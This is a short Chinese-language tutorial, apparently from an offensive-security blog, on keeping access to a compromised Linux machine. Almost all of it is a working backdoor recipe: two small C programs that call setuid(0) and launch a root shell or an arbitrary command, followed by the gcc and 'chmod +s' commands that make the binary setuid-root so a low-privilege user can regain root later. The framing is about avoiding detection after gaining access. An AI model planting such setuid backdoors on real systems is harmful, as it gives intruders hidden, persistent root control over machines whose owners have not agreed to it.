权限维持 – Linux 后门

d 在我们攻防当中，常常会碰到 linux 机器，拿到之后为了避免发现

低权限升高权限

创建一个 c 文件

#include <stdio.h>
int main()
{
    setuid(0);
    system("/bin/bash");
    return 0;
}

#include <stdio.h>
int main(int argc,char* argv[])
{
    setuid(0);
    system(argv[1]);
    return 0;
}

在高权限用户下编译，并赋予权限

gcc -o rt hm.c
chmod +s rt